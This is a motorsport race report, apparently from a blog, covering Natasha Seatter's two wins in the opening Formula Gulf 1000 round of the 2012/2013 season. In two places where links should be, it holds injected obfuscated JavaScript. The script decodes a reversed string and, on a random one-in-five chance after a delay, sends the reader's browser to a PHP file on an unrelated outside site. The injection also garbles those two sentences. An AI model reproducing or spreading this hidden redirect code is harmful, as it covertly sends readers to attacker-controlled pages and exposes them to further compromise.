One couldn’t help but think that for Natasha Seatter, the opening round of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/formula-gulf-1000-20122013-driver-line-up-announced/” target=”_blank”>2012/2013 Formula Gulf 1000 season was just desserts.
Anyone who witnessed last year’s finale will know just how close Seatter came to victory, denied as she was at the line by Championship runner-up $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/red-bull-mohamed-al-mutawaa-the-rising/” target=”_blank”>Mohamed Al Mutawaa. A podium was a strong way to finish an impressive debut season, but her disappointment was difficult to hide on the podium.
Six months later, a difficult qualifying session though left her half a second and two places behind polesitter (and series rookie) Nick Canal. All of a sudden, victory in the bag for the early season favourite looked anything but.
That was the extent of Seatter’s problems though. By the end of lap one, she had already passed polesitter Canal and third-placed Haytham Sultan Al-Ali, and was already running some 2.5s out front. Canal would do his best to keep her honest for the opening half a dozen laps, but once she’d found her stride, it was all she wrote for the Spaniard’s aspirations of victory.
In the second encounter Malaysian Seatter was even more dominant, jumping back from a fluffed start to be five car lengths clear of the pursuing pack after the first lap, and opening up ten seconds to second place by the time she crossed the stripe for the final time.
Consistency, Natasha said, was the key to a strong season. As half a dozen consecutive 1m 41s lap times proved, it was also the key to securing two wins from two and establishing an early Championship lead.
Behind Seatter, focus had now turned to Canal and Al-Ali, who had only just started what would become a daylong scrap. Canal’s qualifying advantage was gone by the drop of the green flag thanks to a superb start from second by his Emirati rival.
The polesitter did however manage to stave off Al-Ali’s advances in the opening showdown, both drivers circulating around 1s apart throughout the race, the gap dipping just enough to leave the paddock wondering if a last lap switch was on the cards.
